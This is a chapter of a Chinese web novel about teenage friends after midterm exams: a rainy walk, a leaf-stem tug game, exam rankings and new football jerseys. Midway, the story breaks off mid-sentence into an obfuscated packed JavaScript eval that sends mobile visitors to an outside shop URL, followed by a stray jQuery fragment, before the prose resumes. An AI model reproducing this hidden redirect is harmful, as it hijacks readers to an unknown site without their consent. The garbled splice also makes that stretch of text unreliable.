期中考试那天，冬天来了。
D市的风开始生硬起来，颇有掀飞屋顶之势，吹得砖瓦都冒冷汗。池静明正蜷缩在被窝中，舒缓着因踢被子而着凉抽筋的腿。
疼醒的五分钟后，小腿总算并无大碍，池静明幸而松了口气。
淅淅沥沥的，窗外有水珠落入泥洼的咕咚声，他摸了摸被子，那触感就像薄雾中的草皮，潮湿夹杂寒冷，扎得手刺挠。
池静明挣扎了一会儿，还是乖乖坐在床边套上了加绒秋裤，浑身都紧绷绷的。走出房间又看到了沙发上扎眼的玫红色，那是母亲唐静留下的雨披。
他最终还是决定打伞走路上学。
阴郁的天色下，鸟也躲回草窝，只有几只冒险的雨燕，压低身形在胡同里穿梭。池静明几次担忧的用伞压住视线，想象着雨燕擦身而过的画面，也因而忘记躲水坑，将旅游鞋染成了灰黄色。
倒霉催的雨，什么时候停？
像是和池静明较劲，直到考完最后一门生物交卷打铃，雨都没停。
考试比自己预想的要难，池静明撑着头心猿意马地听着杜康和徐晨港对着答案。他看向操场，整个校园都湿漉漉的，跑道上都是积水，被雨点砸出了涟漪。
所有室外活动都暂停，等待明天阳光的来临。唯一让池静明庆幸的是，湿袜子终于赶在放学前干了。走到楼道里捡回雨伞，他本准备独自回家。
“今儿个夏逸梦有事儿？”杜康在身后喊住他。
“她新闻社又不在操场开，当然是去参加社团了。”
“得嘞，那就咱俩往回遛达吧。”
杜康手臂自然地搭在池静明肩上，借着力从高处一跃而下，差点儿摔个马趴。池静明肩膀一斜，书包背带滑了下来。
窜到一层的杜康见池静明并未追上来，从扶手向上经由缝隙去找，只能看到布满水渍的灰色运动鞋。池静明也看到了他，同样从那道贯穿上下的缝隙看去，是双蓝白色的耐克板鞋。正是当下流行的款式。
池静明也跃下了台阶：“你的伞呢？”
“没带啊。”杜康说得理直气壮。
“那你怎么来的？”池静明只记得早晨见到杜康时，他并不是落汤鸡的样子。
“跑着来的呗，”他说罢把冲锋外套的帽子往头上一扣，就冲出教学楼，“瞧见没！防水的！”
池静明见他那满是猴态的背影，远远喊了句：“那你包防水吗？”
雨雾中朦胧的身形略显一僵。
忽然，雨大了，雨点像箭，砸在教学楼前的石板路上，“啪、啪”，远处脱缰的野马迷途知返，凑到池静明身旁。
他惺惺作态的求情，蹭得半个身位的庇护，只为保作业本万全。
没有训练的日子他们总并肩骑车，不道德的独占着整条自行车道，再猛踩脚镫子，轮胎擦出火星，只要花几分钟便能穿越长长的桂街。
今天难得有闲心腿儿着，走完这几站地的距离，好好体验了把D市的烟火气。
油亮的雨水拥挤在马路中央，映着两侧的霓虹。空气中除了青草、尾气和油烟味，更有难得的人情味。
临近路尾的地铁口，行人来来往往走得匆忙，杜康紧追着伞沿没顾上臭贫。池静明感谢他稀有的安静。
路灯比平日里更柔和的光下，几棵高大的杨树正簌簌地往下掉叶子。道路边儿，街坊家门口形状各异的花盆儿里，早只剩下绿色，草与根还在坚持，直挺挺地在冷风里紧紧相拥。
杜康突然蹲下身，从水洼里捞起一片完整的杨树叶。昏暗的路灯模糊了叶子的边缘，但仍能看出叶梗粗壮，泛着湿润的深褐色。他甩了甩不算脏的水，递给池静明。
“拿着。”
池静明接过叶子，攥在手里，见杜康又弯腰，在树下找着什么。他站在旁边颇有耐心地等，没过多会儿，炸轰轰的头又映入眼帘，被另一片叶子挡住了大半张脸。
“来。”
这个来字，好像个奇妙的暗号。池静明狐疑地用眼神来回看两个叶子梗：“干嘛？”
“嘿你忘了？”杜康话里含着责怪，“小时候秋天下了雨，等树都秃了，全胡同就要选个拔根儿大王！”
奇怪的儿时记忆又涌现了出来。
冬天前，落叶在雨水中浸湿后变得柔韧，年幼的孩童们就都蹲在路边，为自己挑选比赛“选手”。
然后两两比赛，最终，最有眼光的孩子与他最坚韧的叶子梗儿，会获得一年一度“拔根儿”大赛的冠军。
池静明觉得好笑，又没打算扫了杜康的兴。他用头和肩膀夹住伞，双手捏住叶梗，和杜康的交叉勾住。两人同时用力一拽，“啪”，池静明的叶梗断了。
他有点儿不服气，把输的原因全归给是杜康选得不好。于是便也自己找了起来，点兵点将了个自己看着顺眼的。
“再来！”这次双方都挑了一片更粗的。
“啪！”池静明手中的叶子梗儿应声又断了。他少有地倔了起来，连着又找了三根儿，一一拔过，统共五局，池静明全输了。
哪怕是五局赢二，池静明都不会这么轻易地放过自己。可五局全输，倒也没什么好埋怨的。他在“拔根儿”这事上，高看杜康一眼不算丢人。
琢磨到这儿，池静明笑着把断掉的叶梗扔进小花圃：“我靠，你运气挺不错。”
“承让了。”杜康没像往常那样得意忘形地回嘴，而是把书包挎在单肩，半晌才说：“最近我好像是开始走运了。”
伞因池静明的侧身而倾斜了角度，雨珠滚落在他的肩头。真是傻人有傻福，池静明心想。
运气只是成年人的童话、小孩子的信仰。而他们刚巧走到看清现实又远离幻想的年龄，运气算得上是谦虚的自夸。
四周的声音突然变得清晰，两位少年相视无言，又重新挤回伞下，顺着狭窄的小道儿往胡同深处走去。
气氛些许微妙，他们走得不快，默契的平分干燥的空间，就这样谁也没再张口。
池静明借着雨夜连绵的情绪，想着杜康那句“走运”，虽然仍旧不着调，但他也突然发现，说这话的时候，杜康分明认真得很。哪怕是在无聊的拔根儿游戏后。
直到周五放学，期中考试的成绩单在教学楼前贴榜，池静明才不得不承认杜康那句“走运”是有依据的，这厮居然考得还可以，竟超过夏逸梦排在了年级中间的水平。
“走的什么运啊这是？”池静明看着白纸黑字把心里话都吐露出来了。
“哎哟，池静明，你成绩挺不错啊，”旁边下楼训练的裴超仁也来看榜，高二的期中成绩就在旁边，“年级前十呢？”
“年级就这么二百多人，也不算太好吧。你呢？”池静明不免摆起优等生的架子，问了句招人嫌的话。
好在对方是大大咧咧的裴超仁，满不在乎地说自己成绩一般般，池静明凑过去看，倒是一眼就看到了方则秋的大名。
他竟然也在年级前二十？池静明不免诧异地惊叹出句：“我靠。”
裴超仁看他那目瞪口呆的样，目光重叠才知道他说的是谁：“哦，方则秋啊，他怎么又进年级前二十了，自己偷摸学也不知道教教我！”
“什么叫偷摸学？”池静明有点儿好奇道。
“你是不知道，他这人上课走神，问他什么他都说不会，但是最后考得比谁都好。”
这倒是头一次听：“是吗？他是这么个人啊……”
“你还说他呢……”裴超仁用大拇指朝着池静明挥了挥，“你不也这样吗？都是爱装逼的人。”
还没等到池静明反驳，放学的人流就加入看榜队伍，大家对着排行榜指手画脚，也就把池静明的话噎了回去。
整场训练，池静明都沉浸在被说爱装逼的事上，任谁听了这话，都得不乐意地矢口否认，但怎么回，都感觉摘不干净，因为自己确实好像装了把大的。
他开始装作对失败不在意的样子，在球场上依旧厚脸皮地参与进攻。
韩哲学还是那副半死不活的模样，听说他上课睡觉作业都写不完，可就算是这样，他也是稳居年级前三十的好成绩。
看来杜康那话说得真是没错：他池静明并没有多热爱学习，顶多是后天努力的结果。他缺乏那种毫不费力的松弛感，自然就紧绷得像个压到底的弹簧。
球滚到池静明脚下，他尝试用脚勾住球，把足球护在自己的左边，反而让方则秋找到了空间，直接把球从他身前蹚走，断了他的进攻路线。
池静明憋着口气，冲上去，尝试把球就地反抢，结果被耍得原地转了个圈，球还是丢了。
训练结束的时候，池静明依旧站在人圈里，今天也还是他没能把球抢断而奔跑到训练结束。拿着袖子擦汗的空档，赵恒一让他们回更衣室看看，说有惊喜。
池静明跑不动了便走在最后，任由杜康在耳边叽叽歪歪说着训练中自己那完美的射门。他左耳进右耳出，连捧哏的活儿都懒得做，只当杜康说给空气听。
等走到更衣室门口，杜康“嗷”的一嗓子就把池静明的魂拉了回来。
“池子你看！”
原来是正式比赛的球衣已经挂在大家的柜子前，池静明看着面前写好自己大名的红色球衣，上面印着数字“6”。
他倒是对这数字没太多想法，1号也罢99号也行，反正就是个数字。
但杜康却兴奋过头：“谁给我安的14号？”
崔浩然指着那件球衣笑得前仰后合：“你可千万别让夏逸梦看见，不然她又要开喷了。”
“怎么我不配吗？不过这号不好，我得换个9号！”杜康把视线瞥到池静明面前，“池子，6号哎！”
“怎么？你喜欢？”池静明打开柜门，漫不经心道。
“适合你，”杜康又扫过旁边裴超仁的球衣，“超仁你还真是7号啊？”
作为三十三中C罗头号粉，裴超仁当然是身披7号上场：“这么说吧我踢球，就是为了能穿7号。”
更衣室热闹得像过年，池静明倒沉默的有点儿格格不入。
他想象不到球衣上的数字能让一个高中生如此兴奋，哪怕他们的球技和自己喜爱的球星差出都不止十万八千里。就拿自己的“6号”来说，他还真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738639|209002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知道谁穿过这个号码。
“哦……”他突然想到什么似的，还真有。那位【6号】球员。
那是今年春天，他在杜康家吃杜奶奶的红烧茄子，二人坐在床上用筷子比画着电视上足球的轨迹，他被那位身着巴塞罗那红蓝战袍的6号球员吸引，惊叹那脚精巧的脚后跟妙传。
那一脚妙传。他在心里念叨。
“副队，今年换10号了？”程尚武的声音越过池静明问道。
“这号儿可是我给选的！”常盛站在长凳上邀功，“10号中的10号，核心中的核心。”
池静明这才四下张望，把大家的号码看了遍，队长常盛在后防，领的5号，而球队最重要的10号，居然在方则秋胸前。
这倒不算是个意外，常盛作为队长，场下他情绪稳定、乐观积极，是球队绝对的精神核心，但到了场上，球队的整体节奏可就是方则秋说了算的，他才是球队绝对的进攻核心。
奇怪，为什么方则秋为什么不是队长？
池静明坐在更衣室里，边吃饼干边看队友们三三两两走去澡堂，一回头，发现只剩常盛还坐在长凳上，对方刚巧看向自己，友善的像是有话要说。
“池子，上次的事，你别往心里去。”常盛刚开口，池静明就猜到是为了方则秋。
“副队他，也没说错什么，”饼干太硬，池静明嚼得费劲，“队长，你不是也说，他是球队核心中的核心，我应该配合核心。”
常盛听这话，倒不好意思地摸了摸寸头：“小秋他就是这么个人，嘴里说不出什么好话，索性就话少，但如果你踢得不好，他其实比你都急着想让你进步。”
“可能吧。”池静明并没怎么和方则秋接触过，只能客套两句。
“哦我也不是说你踢得不好，”常盛意识到自己嘴笨表达有误，连连道歉，“你已经很有进步了，从入队到现在也就两个多月时间，不论从基本功还是意识上，都好太多了。”
“但我这不还是在拖后腿，”池静明低下头，“你们最后一届市联赛，如果有我这种队友，是该着急了。”
“哈哈哈哈！”常盛听完倒笑了，“池子你可挺逗啊，我自己什么水平我能不知道？上届也没有你啊，我们不照样也没晋级。”
池静明听完也觉得有点儿道理，跟着也笑了笑。
“小秋他高一的时候还当面骂过我踢得烂呢，当着其他队友的面说我就是个漏勺，什么球都能从我□□下钻过去。”
“他真这么说？”
“不光这么说，练定位球的时候，他非让我去当人墙，要不是我躲得快，当场就断子绝孙了。”常盛连说带比画，控诉了方则秋半天。
“那为什么最后还是你当了队长？”池静明随口问道，倒把常盛难住了。
他琢磨了会儿，才开口道：“其实，上学期结束的时候，全队选队长，我也投的是他，但小秋找到赵教练，说必须让我来当队长，不然他就不踢了。”
“为什么？”
“一开始我也纳闷，就问他，你不是说我拖后腿，现在又让我当队长，我以为他寒碜我呢，”常盛叉着腰，“你猜他说什么？”
“他说什么？”
“就说了五个字：你挺努力的。”
“没了？”
“没了，就说了这么五个字，然后就把队长甩给我了，”常盛把换洗衣服甩到肩膀上，“所以，只要你努力了，小秋也好，其他队友也罢，就没有人敢说你在拖后腿。踢足球而已，别那么大压力。走吧，跟我去洗澡。”
说罢他替池静明把盆塞到怀里，把柜门一关，轰着他就往更衣室门外走。池静明走出五十米才想起来自己没拿洗发水，常盛扬着胳膊，那超大桶的洗发水在他面前打晃。
浴室里，杜康正拿着浴花当球踢，见池静明姗姗来迟，便一脚把浴花踢到池静明怀里。
池静明正愁没有肥皂，这得来全不费功夫，跑着蹭了杜康的沐浴液，顺带手霸占了他水温舒适的喷头，仗着自己比对方壮，站着不走，最终免费洗了个澡。
“队长和你说什么了？”杜康擦着头从浴室往外走去，“球衣都发了，不能是……”
池静明见他担心的模样，颇为滑稽：“还能说什么，上次那事，让我别多想呗。”
“哦，那就行。你别有什么心理负担，大将军可是稳得一匹，最次还有他们后防兜底，你操什么心。”
“不操心？”池静明挑眉道，“光是不被进就行了？但凡你和徐晨港准头好点儿，我都不至于跑断腿。”
“成成成，您说得对，”杜康听到常盛不是下逐客令，也放下心来，“练！今天晚上我就练，您是6号您说了算。”
“这号谁选的……”
“我选的啊，”杜康的话让池静明愣了半秒，“赵教练问我想要几号，我说随便，但池静明必须是6号。”
池静明不可理喻地问道：“你干嘛替我做主？”
“因为我有预感啊！”杜康把头从毛巾里钻出来，眼神里有别样的期待，“你负责拿球，我只管跑位，以后谁拦得住咱俩？”